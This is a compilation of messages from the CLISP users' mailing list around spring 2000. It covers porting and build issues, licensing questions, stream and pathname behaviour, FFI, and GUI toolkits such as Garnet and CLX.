don't think it was our fault!<br>
Thanks for working on this, both of you.<br>
<br>
Travis<br>
<br>
At 06:56 PM 4/3/00 +0200, Bruno Haible wrote:<br>
<br>
<blockquote type=cite cite>Binaries and source of CLISP for BeOS 5 are
available at<br>
<br>
&nbsp;&nbsp;
<a href="ftp://clisp.cons.org/pub/lisp/clisp/binaries/i586-beos/" eudora="autourl">ftp://clisp.cons.org/pub/lisp/clisp/binaries/i586-beos/</a><br>
<br>
This is based on a snapshot of clisp, but should be as reliable as
the<br>
previous 2000-03-06 release.<br>
<br>
Part of the work was done in collaboration with Alexis Rivera Rios,<br>
at that time on BeOS 4.5, but we had problems because the gcc
shipped<br>
with that BeOS version was not a stable released version of gcc.<br>
<br>
When building from source, I encountered a problem: After
compilation<br>
of some Lisp file, the command to rebuild the image, of the form<br>
<br>
&nbsp;&nbsp; ./lisp.run ....... -x &quot;(load
\&quot;init.lisp\&quot;)&quot;<br>
<br>
crashes. To fix this, replace lisp.run by a copy of itself (run<br>
&quot;clean lisp.run&quot; - see below), and rerun &quot;make&quot;. I
would be interested<br>
in hearing whether this problem appears in real use as well, or 
only<br>
while building clisp.<br>
<br>
Enjoy CLISP. I enjoy BeOS.<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Bruno<br>
<br>
<br>
<br>
====================== /boot/home/config/bin/clean
=======================<br>
#!/bin/sh<br>
# Usage: clean executable<br>
if test $# != 1; then<br>
&nbsp; echo &quot;Usage: clean executable&quot; 1&gt;&amp;2<br>
&nbsp; exit 1<br>
fi<br>
cp -p &quot;$1&quot; &quot;$1.tmp&quot;<br>
mv &quot;$1.tmp&quot; &quot;$1&quot;<br>
==========================================================================
</blockquote><br>


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Don Cohen writes:

> - what's the difference between the clisp license and the GPL?
> I see the difference in the text but I'm having a hard time
> understanding the implications.

This is explained in
  http://clisp.sourceforge.net/impnotes.html#app-dev

> - does clisp run on any machines that support larger than 32 bit
> address spaces?

Yes. The first 64-bit platform to be supported was Alpha OSF/1 in 1993.

Bruno


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hi,

has anyone made a .deb of the 2000-03-06 release?

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Hi,

Has anyone successfully compiled Clisp on Mac OS X Server?  If so, could you please email me a tar or some binary, or tell me how?

thanks,

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> Has anyone successfully compiled Clisp on Mac OS X Server?  If so, could
> you please email me a tar or some binary, or tell me how?

clisp version 2000-03-06 should build on MacOS X Server. There are a few
quirks mentioned in the unix/PLATFORMS file, however:

! On Apple PowerPC running MacOS X Server:
! 
! The /bin/sh shell has at least two bugs which make it unusable for the
! configuration scripts. As a workaround, you have to set the environment
! variable CONFIG_SHELL to "/bin/bash", and start
! "$CONFIG_SHELL ./configure ..." instead of "./configure ...".
! 
! The default stack size limit is 512 KB, which is too small for bootstrapping
! CLISP. Even 1 MB is too small. Try "ulimit -S -s 8192" before starting
! "make".
! 
! Remove all optimization options ("-O", "-O2") from the CC and CFLAGS
! variables in the Makefile. Apple's cc crashes when compiling eval.d with
! optimization.

For this latter reason, binary packages are not on our ftp server: I wait
until they provide a reasonable C compiler.

Bruno


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I see a small example in impnotes, but nothing approaching
documentation.  On the other hand it says posix, so I imagine
this is standard.  But man only shows me something for tcl.
And it doesn't look much like the symbols exported from the
clisp regexp package.  Where should I look?


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Don Cohen asks:
> Where should I look?

In the source distribution, clisp-2000-03-06/modules/regexp/regexp.dvi.


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  Bruno Haible
  Don Cohen asks:
  > Where should I look?
  
  In the source distribution, clisp-2000-03-06/modules/regexp/regexp.dvi.

I see.  I suggest that this be at least included in the binary
distributions, and preferably add something to impnotes - at least
a reference to the doc if not the doc itself.


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>>>> In message <14569.63407.395410.224699@santorini>
>>>> On the subject of "Re: [clisp-list] regexp doc?"
>>>> Sent on Tue Apr 04 09:25:43 EDT 2000
>>>> Honorable Don Cohen <don@nichimen.com> writes:
 >>   Bruno Haible
 >>   Don Cohen asks:
 >>   > Where should I look?
 >> 
 >>   In the source distribution, clisp-2000-03-06/modules/regexp/regexp.dvi.
 >> 
 >> I see.  I suggest that this be at least included in the binary
 >> distributions, and preferably add something to impnotes - at least
 >> a reference to the doc if not the doc itself.

my plas is convert all docs to docbook/xml and distribute them
uniformly. 

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Subject: [clisp-list] printing unicode characters

when a string contains unicode characters it often cannot be printed.
can i arrange that such characters are printed as &#nnnn; (or #\unnnn)?

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Sam writes:
> when a string contains unicode characters it often cannot be printed.
> can i arrange that such characters are printed as &#nnnn; (or #\unnnn)?

The closest you can get is to print them as \uNNNN.

(setq *terminal-encoding* charset:java)

This encoding is known the "JAVA" encoding, but you can write Unicode
characters this way in C (ISO C 99) and C++ (ISO/ANSI C++) as well.

Bruno


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Don Cohen wrote a week ago:

> Even in previous versions it seems to me that characters could not
> always be one byte long, due to newline encoding.  If you see a CR
> but nothing more, you can't say there's a character ready, cause you 
> don't know whether it will be followed by LF.  Depending on the
> next character you either want read-char to return #\return or 
> #\newline.

You are right. In older clisp versions, a CR could probably cause the
'read-char-no-hang' function to hang.

In recent clisp releases this is fixed: The Mac end-of-line convention
is accepted too. This means that a lone CR without LF gives #\newline,
just like CR followed by LF. And 'listen' knows that it doesn't have to
wait for the LF in order to return #\newline.

> I suggest that when the stream element type is not character, the
> listen function still return true if there is enough data available
> to return the next element.  It's hard to believe that was not the
> intention of the spec.

In CLtL you had separate sections for "character I/O" (thick section,
including read-char-no-hang and listen) and "binary I/O" (containing
only read-byte and write-byte). I therefore believe they were aware
that the binary I/O API is not complete.

Bruno


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  Bruno Haible
  Don Cohen wrote a week ago:
  
  > Even in previous versions it seems to me that characters could not
  > always be one byte long, due to newline encoding.  If you see a CR
  > but nothing more, you can't say there's a character ready, cause you 
  > don't know whether it will be followed by LF.  Depending on the
  > next character you either want read-char to return #\return or 
  > #\newline.
  
  You are right. In older clisp versions, a CR could probably cause the
  'read-char-no-hang' function to hang.
  
  In recent clisp releases this is fixed: The Mac end-of-line convention
  is accepted too. This means that a lone CR without LF gives #\newline,
  just like CR followed by LF. And 'listen' knows that it doesn't have to
  wait for the LF in order to return #\newline.
  
I guess that means that read-char can never return #\return or
#\linefeed.  Is this another change?

  > I suggest that when the stream element type is not character, the
  > listen function still return true if there is enough data available
  > to return the next element.  It's hard to believe that was not the
  > intention of the spec.
  
  In CLtL you had separate sections for "character I/O" (thick section,
  including read-char-no-hang and listen) and "binary I/O" (containing
  only read-byte and write-byte). I therefore believe they were aware
  that the binary I/O API is not complete.
  
Perhaps we could take a poll among those authors/reviewers
we can find.  Any idea who they are and how to reach them?


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> has anyone made a .deb of the 2000-03-06 release?

I think you have to ask Kevin Dalley. He packaged clisp for Debian,
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Below is a reply I got from Steve Haflich on this subject.
I guess what it comes down to is that when I switch the stream element 
type between character and byte I also must be toggling whether it's
interactive !  Needless to say, I'm not entirely satisfied.
I don't see that listen should have anything to do with interactivity
in the sense of whether it makes sense to ask a question.  It ought
to just tell you whether there's something ready for you to read.


     Date: Tue, 4 Apr 2000 14:43:31 -0700
     From: don@nichimen.com (Don Cohen)
     To: smh@franz.com
     Subject: question about common lisp standard

     The listen function is described as telling you whether there's a
     "character" available.  Is this supposed to mean that on binary
     streams it whould always return false?  Or should it tell you whether
     there's a byte available?  Could this be a simple oversight?  Or is it 
     a conscious choice (and if so, why)?  Are you the right person to ask?
     If not, who is?

  I'm not the correct person to ask as I am no longer involved with
  Franz' Common Lisp products.  I'll give a quick (but unauthoritative)
  explanantion of the ANS as one of its drafters.

   listen &optional input-stream generalized-boolean

   Returns true if there is a character immediately available from
   input-stream; otherwise, returns false. On a non-interactive
   input-stream, listen returns true except when at end of file1. If an
   end of file is encountered, listen returns false. listen is intended
   to be used when input-stream obtains characters from an interactive
   device such as a keyboard.

  In the portable language there is no way to create an interactive
  stream.  An implementation might idiomatically provide one for an
  interactive connection to the user, and that stream is implied to be a
  character stream.  The only portable way a user can create a stream
  (ignoring compound streams) is with OPEN, which is necessarily a
  file-stream and non-interactive.  (Ignore the irregularity that Unix
  devices and named pipes have names in the file system and might
  sometimes be more usefully connected to interactive streams.)

  These portable capabilities of LISTEN (as well as stream creation and
  stream capabilities) are so impoverished as to be nearly irrelevant to
  real current programming needs, unless you can survive by writing dumb
  tty-in tty-out applications.  For real use, programmers need to depend
  on the particular platform's (i.e. ACL) extensions, and keep in mind
  the directions in which those are developing for the future.  That
  question is best directed to the regular bugs@franz.com support
  channels.


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Hi,

If this turns out to be a dumb question, I'm sorry.  I have dug through the
docs, and read the faq and I haven't found what I need.  

I have downloaded and installed the binary distribution of CLISP for Solaris
2.6.  I would like to use the CLX and PostgreSQL modules.  CLISP is working
correctly, but is installed under my home directory, not /usr/local.

CLX seems to be included, but I can't get the makefile to work correctly.
It fails with the message:

make: Fatal error: Don't know how to make target `defsystem.lsp'

PostgreSQL does not seem to be there.

I have a number of questions...

What am I doing wrong, that I cannot compile the CLX?

What does clisp-link really do?  Am I only supposed to run it once, or every
time I need to use CLX?

Where can I get the PostgreSQL module?  Are there other database modules
available? (Oracle, MySql, etc)

Thanks in advance

Rupert Brooks
National Atlas of Canada



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>>>> In message <2951561DB3DDD0118FEC00805FFE980503BB46CC@s5-ccr-r1>
>>>> On the subject of "[clisp-list] newbie question re modules, esp CLX"
>>>> Sent on Wed Apr 05 14:12:27 EDT 2000
>>>> Honorable "Brooks, Rupert" <Rupert.Brooks@CCRS.NRCan.gc.ca> writes:
 >> 
 >> PostgreSQL does not seem to be there.

the PostgreSQL module uses the C libraries - do you have PostgreSQL
installed on your solaris machine?

 >> Where can I get the PostgreSQL module?  Are there other database
 >> modules available? (Oracle, MySql, etc)

clisp includes socket interface, so if you can connect to the database
via a socket, you are there already.
that said, you might want to visit :
http://www.pmsf.de/pmai/MaiSQL.html
http://www.chez.com/emarsden/
ftp://amirani.hit.uib.no/sql-odbc/

-- 
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(http://www.linux.org) the choice of the GNU (http://www.gnu.org) generation.
The program isn't debugged until the last user is dead.



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First of all thanks for the latest CLisp.  It fixes the problems with
logical-pathname-translations and it is thus more usable for defsystem
and friends.

There is one thing I noticed in conjuction with ILISP.  CLisp not
takes a very long time to come up in the ILISP inferior lisp buffer.
It eventually does and it works nicely, but before doing so it makes
ILISP stall in the :binary state for quite some time (about a minute
on my Ultra2).

I haven't really looked into this and would like to know if anybody
has noticed the same behavior.

Cheers

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Subject: [clisp-list] License, libraries and FFI package

Greetings,

Let's say that I write a CL library or program layered on two
parts; pure CL part and FFI to (LGPL/BSD/similar, i.e. that doesn't
restrict me) non-CL library part (that is needed in first versions
until I write the corresponding functionality in CL).  I refuse to
use GPL license for my library/program and wish to use
BSD/LGPL/something-else instead.  Now, if I want to add
CLISP-support to the FFI layer, I naturally have to use CLISP's FFI
package but the license says ``This copyright does *not* cover user
programs that run in CLISP, if they don't reference symbols in
CLISP's built-in packages (except the packages LISP, USER,
COMMON-LISP, COMMON-LISP-USER, KEYWORD), i.e. if they don't rely on
CLISP internals and would as well run in any other Common Lisp
implementation.''

Am I correct to say that my library would need to be GPL too?  This
is my interpretation, although the intent vs. reality of that
sentence in the CLISP's license collide a bit (in my opininion)
since my library is intended to be usable in other CL's (actually,
CMUCL is my primary target).

Although I said ``Let's say I write'', this is actually a realistic
situation for my library that, although not finished yet, is
getting closer and I'd like to clarify whether I can make CLISP
support for it or not.  The same applies to many other libraries
and applications that I intend to write, since few of them can be
pure CL.

-- 
Hannu


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On Thu, 6 Apr 2000 08:57:40 +0200 (MET DST), Marco Antoniotti
<marcoxa@parades.rm.cnr.it> wrote:

> There is one thing I noticed in conjuction with ILISP.  CLisp not
> takes a very long time to come up in the ILISP inferior lisp buffer.
> It eventually does and it works nicely, but before doing so it makes
> ILISP stall in the :binary state for quite some time (about a minute
> on my Ultra2).

Is your Ultra2 running a weather forecast computation in the background? :)

CLISP 2000-03-06 takes just a few seconds under Red Hat Linux 5.2 (running
on an old Pentium 200 with 64M of RAM) with GNU Emacs 20.3 and the latest
ILISP.


Paolo
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Subject: [clisp-list] Why not use INADDR_ANY in socket-server?

> I have been trying to get CLISP socket-server to work on OSF1 4.0e, with
> little success. It seems that bind() always fails if an interface address
> is supplied. However, if INADDR_ANY is supplied (the socket is bound to
> all interfaces) then socket-server works as intended. I am not a socket
> guru, so I don't know if there is a reason not to use INADDR_ANY, but I
> think it would be convenient if it was at least an option. Proposed
> modification to socket-server interface:
> 
> (defun socket-server (&optional port-or-stream bind-to-any)
>   "If first optional argument PORT-OR-STREAM is NIL, SOCKET-SERVER works
> as if it hadn't been supplied (port is chosen at random)."
> 
> This wouldn't break any existing code.
> 
> What do you think?
> 
> Cheers,
> 	ola
> 


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Subject: [clisp-list] Read-line error?

Hello!

I am getting a strange error with my text editor written
in Clisp.

My settings are:

clisp --version = CLISP 2000-03-06 (March 2000)
uname -a = SunOS eros 5.7 Generic_106541-08 sun4u sparc

It happens when I use (read-line) to read text strings from
the terminal. In my program I also use (with-keyboard ...
(read-char *keyboard-input*)), and I use ANSI escape
sequences quite much. I don't use ffi.

The error message says:

*** - handle_fault error2 ! address = 0xDCB8 not in
[0x19BE6000,0x19D016C0) !
SIGSEGV cannot be cured. Fault address = 0xDCB8.
Segmentation Fault

or sometimes only:

Segmentation Fault

It also happens that the screen gets messed up when I enter
characters (to read-line). And sometimes, it works as it should.

Do you have any idea of what is wrong?

Regards, David Kaasen.



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Subject: [clisp-list] SPARC/Linux problems

I've been beating my head over this problem. I've compiled three versions
of clisp, with gcc 2.95.2 and gcc 2.7.2.3, and every one has this problem.
Basically lisp.run segfaults. I ran it through some debuging and here is
where gdb picks up the problem:

(gdb) file ./lisp.run
Reading symbols from ./lisp.run...done.
(gdb) run
Starting program: /home/bcollins/clisp-1999-07-22/src/./lisp.run

Program received signal SIGSEGV, Segmentation fault.
0x13764 in gc_mark_stack (objptr=0x2e2ffffc) at spvw_garcol.d:384
384           { until (eq(*objptr,nullobj)) # bis STACK zu Ende ist:
(gdb) bt
#0  0x13764 in gc_mark_stack (objptr=0x2e2ffffc) at spvw_garcol.d:384
#1  0x137c8 in gc_markphase () at spvw_garcol.d:411
#2  0x13e1c in gar_col_normal () at spvw_garcol.d:1594
#3  0x14b44 in do_gar_col_simple () at spvw_garcol.d:2369
#4  0x8cb5c in with_gc_statistics (fun=0x14b38 <do_gar_col_simple>) at predtype.d:2571
#5  0x14b70 in gar_col_simple () at spvw_garcol.d:2397
#6  0x14ce0 in make_space_gc_TRUE (need=40, heapptr=0x13a25c) at spvw_allocate.d:225
#7  0x150d4 in allocate_vector (len=7) at spvw_typealloc.d:94
#8  0x18744 in init_subr_tab_2 () at spvw.d:1161
#9  0x19ec8 in initmem () at spvw.d:1549
#10 0x1b174 in main (argc=1, argv=0xeffffaa4) at spvw.d:2661
(gdb) print *objptr
Cannot access memory at address 0x2e2ffffc.

Any one know what's going on?

Ben

(please Cc me, I am not sub'd to the list)

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Subject: [clisp-list] CLISP 3-06-2000 evil behavior

I'm a bit new to Lisp, but I've got a problem which I absolutely
cannot imagine is the default behavior for a lisp.  When I do this, my
machine starts using 100% of the CPU and rapidly eating as much memory
as it can get its hands on, quickly filling all of my RAM and swap
space, and bringing the machine to its knees.

(I am fully aware that this problem may be due to my lack of knowledge
though, so if there is a silly reason this is happening, please let me
in on the secret)

Here's a transcript:
[3]> (defstruct treenode left right parent)
TREENODE
[4]> (setq root (make-treenode))
#S(TREENODE :LEFT NIL :RIGHT NIL :PARENT NIL)
[5]> (setq left1 (make-treenode))
#S(TREENODE :LEFT NIL :RIGHT NIL :PARENT NIL)
[6]> (setq right1 (make-treenode))
#S(TREENODE :LEFT NIL :RIGHT NIL :PARENT NIL)
[7]> (setf (treenode-left root) left1) 
#S(TREENODE :LEFT NIL :RIGHT NIL :PARENT NIL)
[8]> (setf (treenode-right root) right1)
#S(TREENODE :LEFT NIL :RIGHT NIL :PARENT NIL)

Now THIS line I wouldn't recommend putting in, since
it will cause the problem I'm talking about.
(setf (treenode-parent left1) root)

As you can probably see, I'm trying to build a tree-ish structure,
that should look like this:

               root
              /    \
           left1   right1

Which works fine, until I try to set left1's parent node to root.
That's how the tree is organized, and I know it's indirect
self-reference, but shouldn't CLISP be able to handle it?  When I issue
that statement, I'm guessing that it's having the same effect as if I
did:

(defun stupid-recursion (x)
   (stupid-recursion (cdr x)))
(stupid-loop nil)

(i.e. memory hogging recursion that is sans-basecase.)

Any help would be appreciated.
-- 
David Allen
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David Allen <s2mdalle@titan.vcu.edu> writes:

| I'm a bit new to Lisp, but I've got a problem which I absolutely
| cannot imagine is the default behavior for a lisp.  When I do this, my

Well, whether you can imagine it or not, it is the default
behaviour, and quite reasonable default behaviour indeed.  See
*PRINT-CIRCLE* if you want to change it.

-- 
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Subject: [clisp-list] ANNOUNCEMENT: ILISP 5.10.1 available.

Hello,

This is the official announcement of the availability of version 5.10.1 of
ILISP, a comprehensive Inferior Lisp replacement for Emacs and XEmacs.

ILISP 5.10.1 can be found in its official home at

	http://ilisp.cons.org

You can download it from there.

CVS support is in place at Source Forge
(http://www.sourceforge.net). Look for project 'ilisp' there.
The first import did not quite go as planned but things are there and
should be working without too many problems.

Instructions about subscribing to the `ilisp@cons.org' mailing list
can also be found in that site.

We encourage all the ILISP users to upgrade and to send feedback to
the maintainers.

This new release has been made possible especially thanks to Martin
Atzmueller, Paolo Amoroso, Karl Fogel and many others, who are allowed
to hold a grudge to the poster because of his forgetfulness.

Here is the (beginning of the) History file for ILISP 5.10.1

ILISP HISTORY
===============================================================================
Version: 5.10.1.

ILISP is on SOURCEFORGE!

Fixes and enhancements since 5.9.4.

Many.

-- More CLish conventions for naming variables.
   Note that 'ilisp-refix' is now 'ilisp-*prefix*' . Check your ilisp
   initializations in your .emacs or wherever you keep them.

-- Better FSF compliance (see variable
   'ilisp-*use-fsf-compliant-keybindings*')

-- changed vars in ilisp-def:
   ilisp-*prefix*
   ilisp-*use-fsf-compliant-keybindings*
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   ilisp-*version*
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   ilisp-*enable-ild-support-p*
   ilisp-*use-hyperspec-interface-p*
   ilisp-*use-fi-clman-interface-p*
   ilisp-*directory*

-- *.el: replaced vars.

-- In ilisp-key: new custom: ilisp-bindings-*bind-space-p*:
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-- Changed vars in ilisp-out:
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-- doc/ilisp.texi: replaced found vars of above with their replacements.

-- doc/ilisp.texi: documented the frame-p stuff, arglist-p stuff,
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-- doc/ilisp.texi: documented imenu.el, ilisp-imenu.el.

-- ilisp-out.el & ilisp-chs.el: in ilisp-display-output-default: now
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   in the lisp-listener should work!!
   at least it works for clisp, as I found out.

-- ilisp-def: new variable ilisp-*arglist-message-switch-back-p*

-- ilisp-hi: in lisp-send-region: fixed a bug; we had multiple outputs despite
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-- sblisp.lisp: changed #'arglist; code is a adapted version of #'arglist in
   cmulisp.lisp. did not work for (arglist 'make-array) for example.

-- cl-ilisp: reformatting of last ) ) [oops! :)]
             bugfix: special-operator-p replaced by special-form-p in
             #'ilisp-print-info-message.
             added support for ECL (ECLS).

==============================================================================

Please check out the README files, especially in the `extra' directory
(regarding the nature of the `hyperspec.el' software and site).

Enjoy

Marco Antoniotti and the ILISP maintainers

-- 
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(defpackage "SSS" (:use "LISP" #+clisp "CLOS") ...)

I need that clos in order to use the clos stuff in my package.
Why is that?  Shouldn't these things be exported from the lisp
package?  


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Don Cohen asks:
> 
> (defpackage "SSS" (:use "LISP" #+clisp "CLOS") ...)
> 
> I need that clos in order to use the clos stuff in my package.
> Why is that?

So that you can use package "PCL" instead of "CLOS" if you like.

> Shouldn't these things be exported from the lisp package?

Not in CLtL1.

If you want to assume ANSI CL behaviour, then you should better use
package "COMMON-LISP" instead of "LISP", because ANSI-CL makes no
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donc@compsvcs.com (Don Cohen) writes:

| (defpackage "SSS" (:use "LISP" #+clisp "CLOS") ...)

What is going on here is probably that you are confusing LISP
package with COMMON-LISP package, which is especially easy to do if
you have been using CMUCL where COMMON-LISP package has a
non-standard (in a sense that it is not required to have such
nickname; I think the standard allows it to have additional
nicknames, though, so what CMUCL does is ok) nickname LISP in
addition to required nickname CL.  In CLISP there is a completely
separate package called LISP that provides CLtL1/CLtL2 stuff
excluding CLOS.  So what you probably want to do is to say:
(defpackage :sss (:use :common-lisp) ...)

-- 
Hannu


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> Which works fine, until I try to set left1's parent node to root.
> That's how the tree is organized, and I know it's indirect
> self-reference, but shouldn't CLISP be able to handle it?

CLISP can handle it.  In a sense, the "problem" isn't with your code, nor with
CLISP, but with the standard.  What's happening is that CLISP is trying to
print the result of what you've done.  Something to the effect of:

#S(TREENODE :LEFT NIL :RIGHT NIL :PARENT #S(TREENODE
                                            :LEFT #S(TREENODE :LEFT NIL
                                                      :RIGHT NIL
                                                      :PARENT #S(TREENODE . .
.

and so on, ad infinitum.  As was mentioned earlier, check out *print-circle*
for a way to get more intelligent behavior:

#1=#S(TREENODE :LEFT NIL :RIGHT NIL :PARENT #S(TREENODE
                                               :LEFT #1
                                               :RIGHT NIL                     
                         
                                               :PARENT NIL))

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Hello!

How can I call dynamic library routines from CLISP? I also
need to access variables in the library.
   The program runs on both Unix and Windows, so there is
an .so and a .dll library version, but I assume that makes
no difference concerning lisp?

Thanks in advance, David Kaasen.



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>>>>> "dk" == David Kaasen <kaasen@nvg.ntnu.no> writes:

  dk> How can I call dynamic library routines from CLISP? I also need
  dk> to access variables in the library. The program runs on both
  dk> Unix and Windows, so there is an .so and a .dll library version,
  dk> but I assume that makes no difference concerning lisp?

unfortunately CLISP is not currently able to load shared libraries,
both under Unix or MS Windows; you have to link your code statically
(see the user manual section on the FFI). I did an experimental
version of .so linking with an old version of CLISP (which probably
could work with minor changes on the current release) which is
available at

   <URL:http://www.chez.com/emarsden/downloads>


I've been meaning to improve this work but never got around to it.
  
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Eric Marsden wrote:
 > >>>>> "dk" == David Kaasen <kaasen@nvg.ntnu.no> writes:
 > 
 >   dk> How can I call dynamic library routines from CLISP? I also need
 >   dk> to access variables in the library. The program runs on both
 >   dk> Unix and Windows, so there is an .so and a .dll library version,
 >   dk> but I assume that makes no difference concerning lisp?
 > 
 > unfortunately CLISP is not currently able to load shared libraries,

At least for Linux this is not true. Look at impnotes.html, search for
"--with-dynamic-modules".

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Subject: [clisp-list] installing clisp in a powermac

I have tried to install  clisp-2000-03-06 on a powermac running Redhat
Linux.. configure gives the error:
"trampoline_r/cache-rs6000-sysv4.o: No such file or directory". Indeed,
the file isn't there. If I ignore the message and install clisp
everything seems to work fine (I even compiled Garnet), except that
there seems to be no FFI package so, for example,  clg-050 wouldn't
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Subject: [clisp-list] logical pathnames in clisp 2000-03-06 ?

Am I doing something wrong or are logical pathnames still not working?

uname -a
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[1]> (lisp-implementation-version)
"2000-03-06 (March 2000)"
[2]> (logical-pathname-translations "sys")
((#S(LOGICAL-PATHNAME :HOST "SYS" :DEVICE NIL :DIRECTORY (:RELATIVE)
       :NAME :WILD :TYPE "LISP" :VERSION NIL
    )
    "*.lsp"
 )
  (#S(LOGICAL-PATHNAME :HOST "SYS" :DEVICE NIL :DIRECTORY (:ABSOLUTE)
       :NAME :WILD :TYPE :WILD :VERSION NIL
     )
    "*.*"
  )
  (#S(LOGICAL-PATHNAME :HOST "SYS" :DEVICE NIL :DIRECTORY (:ABSOLUTE)
       :NAME :WILD :TYPE NIL :VERSION NIL
     )
    "*"
) )
[3]> (translate-logical-pathname "sys:foo.bar")

*** - TRANSLATE-PATHNAME: replacement pieces ("foo" "bar" NIL) do not fit into #P"*.*"
1. Break [4]> (setf (logical-pathname-translations "Don")
  '((";**;*.*" "/export/home/donc/lisp/")
    ("**;*.*" "/export/home/donc/lisp/")))
((#S(LOGICAL-PATHNAME :HOST "DON" :DEVICE NIL
       :DIRECTORY (:RELATIVE :WILD-INFERIORS) :NAME :WILD :TYPE :WILD
       :VERSION NIL
    )
    "/export/home/donc/lisp/"
 )
  (#S(LOGICAL-PATHNAME :HOST "DON" :DEVICE NIL
       :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME :WILD :TYPE :WILD
       :VERSION NIL
     )
    "/export/home/donc/lisp/"
) )
1. Break [4]> (translate-logical-pathname "don:foo.bar")

*** - TRANSLATE-PATHNAME: replacement pieces ((:DIRECTORY) "foo" "bar" NIL) do not fit into #P"/export/home/donc/lisp/"
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Subject: [clisp-list] GUI in CLISP

The survey (http://sourceforge.net/survey/?group_id=1355) indicates that
people miss GUI building in CLISP.

An easy way to build a gui-enabled application in CLISP is to use your
browser.  Please see src/cllib/inspect.lisp
(ftp://cellar.goems.com/pub/clisp/cllib.zip) in CLOCC
(http://clocc.sourceforge.net) which implements a GUI inspector using
http interface to the browser.

While clearly not the best solution, this approach has certain
advantages (simplicity, platform-independence).

-- 
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On 09 May 2000 14:12:46 -0400, Sam Steingold <sds@gnu.org> wrote:

> The survey (http://sourceforge.net/survey/?group_id=1355) indicates that
> people miss GUI building in CLISP.

A possible option is SLIK. It is a CLOS-based user interface toolkit,
providing a thin abstraction layer over CLX, that is part of PRISM, a
radiation therapy planning system developed at Washington University. The
PRISM Web site is:

  http://www.radonc.washington.edu/medinfo/prism/

The source code and documentation of SLIK are available at:

  ftp://ftp.radonc.washington.edu:/dist/slik/

Although it was originally developed for Allegro CL, SLIK compiles out of
the box with CMU CL. When I tried it with CLISP, it had some problems but I
felt it was close to working. But I had no time to investigate further.

The main advantages of SLIK are:

- ease of use
- limited footprint

A few disadvantages:

- widgets don't look "sexy"
- only basic widgets are available
- I was unable to find an explicit distribution license and it's not clear 
  under what conditions SLIK may be freely used. The system was developed 
  at an academic institution with funds also coming from commercial 
  companies and other institutions.


Paolo
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Sam Steingold writes:

> While clearly not the best solution, this approach has certain
> advantages (simplicity, platform-independence).

Another approach would be to look at {sip,PyQt,PyKDE}-0.11.1 and see
whether we can do the same thing for clisp.

Bruno


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About GUI and CLISP...

I have a problem compiling garnet with clisp-2000-03-09.
I am using the original garnet source found in the garnet project web page. 

I have looked at the garnet30.clisp.tar.gz files. The visible
difference between that version and the original one is the file
extension (.lsp vs .lisp) which is no longer a problem for
clisp. Another change is the renaming of the lisp and user packages
that is done in the garnet-loader.lisp file. I have made that change
and use the original garnet source.

I am sending this message to this list because I think the problem is
a clisp problem, not a garnet problem.

After loading garnet-prepare-compile.lisp and garnet-loader.lisp I
start the compilation loading the garnet-compile.lisp
Compilation runs fine during some time until I get the folowing error:

[many many lines deleted...]

Compiling file /usr/local/src/garnet-3.0/src/gadgets/save-gadget.lisp ...
Object SAVE-GADGET

Compilation of file /usr/local/src/garnet-3.0/src/gadgets/save-gadget.lisp is finished.
0 errors, 0 warnings
Loading #P"/usr/local/src/garnet-3.0/src/gadgets/save-gadget"
;;   Loading file /usr/local/src/garnet-3.0/src/gadgets/save-gadget.fas ...
*** - LISP-RENAMED-BY-GARNET:MAKE-ENCODING: illegal :OUTPUT-ERROR-ACTION argument 33961
1. Break GG[5]> 

The save-gadget file is compiled without problems. The error occurs
when the compiled file is loaded. The make-encoding function is not
called in the garnet code (that's why I think it is a problem with
clisp)

impnotes.html says:

The :output-error-action specifies what happens when an invalid character is
encountered while converting characters to bytes. Its value can be :error, :ignore, a byte
to be used instead, or a character to be used instead. The Unicode character #\uFFFD can be
used here only if it is encodable in the character set. 

So the argument 33961 is indeed invalid. But as I don't know where the
function was called, I don't understand what goes wrong.

Anybody can help me ?

Thanks for your time.

Thibault Langlois

PS: I use :

(lisp-implementation-version) -> "2000-03-09 (March 2000)"
with new-clx module on a gnu/linux RedHat 6.0 system (intel) 




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On Wed, 10 May 2000 18:10:46 +0100, Thibault Langlois <tl@weenie.inesc.pt>
wrote:

> I have a problem compiling garnet with clisp-2000-03-09.
> I am using the original garnet source found in the garnet project web page. 

Fred Gilham <gilham@csl.sri.com> maintains an unofficial Garnet
distribution to which he applies all patches he can get his hands on. That
distribution is more up to date than the one available at the Garnet
project site. Fred's distribution is unlikely to solve your problem, but
you may want to check it anyway:

  ftp://ftp.csl.sri.com/pub/users/gilham/garnet/


Paolo
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Subject: [clisp-list] Looking for bits of history

I would appreciate it if the CLISP authors or maintainers could tell
something about its history, e.g. when and how the project was started and
by whom, what were its design goals, the major implementation challenges,
etc. I'm just curious.


Paolo
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From: bernard URBAN <Bernard.Urban@meteo.fr>
To: clisp-list@lists.sourceforge.net
Subject: RE:  [clisp-list] GUI in CLISP; problem compiling Garnet...

Thibault Langlois writes:

   >>>  About GUI and CLISP...

   >>>  I have a problem compiling garnet with clisp-2000-03-09.
   >>>  I am using the original garnet source found in the garnet project web page. 

   >>>  I have looked at the garnet30.clisp.tar.gz files. The visible
   >>>  difference between that version and the original one is the file
   >>>  extension (.lsp vs .lisp) which is no longer a problem for
   >>>  clisp. Another change is the renaming of the lisp and user packages
   >>>  that is done in the garnet-loader.lisp file. I have made that change
   >>>  and use the original garnet source.

   >>>  I am sending this message to this list because I think the problem is
   >>>  a clisp problem, not a garnet problem.

        [...]

   >>>  Anybody can help me ?

   >>>  Thanks for your time.

   >>>  Thibault Langlois

   >>>  PS: I use :

   >>>  (lisp-implementation-version) -> "2000-03-09 (March 2000)"
   >>>  with new-clx module on a gnu/linux RedHat 6.0 system (intel) 
             ^^^^^^^

This may be your problem. With mit-clx, I can compile and load Garnet
without problem.

-- 

B. Urban


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>>>>> "bu" == bernard URBAN <Bernard.Urban@meteo.fr> writes:

  tl> (lisp-implementation-version) -> "2000-03-09 (March 2000)"
  tl> with new-clx module on a gnu/linux RedHat 6.0 system (intel) 

  bu> This may be your problem. With mit-clx, I can compile and load
  bu> Garnet without problem.

actually, I have the opposite problem: Garnet more-or-less works with
nclx but not at all with mit-clx. Here is a message I sent here in
March: 

----------------------------------------------------------------------- 
It doesn't work correctly with CLISP: with nclx it seems to miss some
refresh events (windows sometimes stay undrawn), and the logo in the
